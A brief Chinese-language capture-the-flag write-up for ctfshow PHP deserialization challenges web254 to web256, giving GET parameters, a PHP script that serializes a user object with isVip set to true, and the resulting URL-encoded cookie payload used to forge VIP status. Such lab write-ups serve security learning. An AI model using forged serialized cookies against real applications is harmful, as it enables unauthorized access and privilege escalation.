技術標籤：序列化和反序列化PHP反序列化web安全

前言

簡單的反序列化直接給出payload，有意思的，較為複雜的和我不太會的會分析一波。

web254

?username=xxxxxx&password=xxxxxx

web255

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

?username=
 
xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

把PHP裡面的username和password改成不一樣的即可，然後和get傳入的對應，沒啥好說的。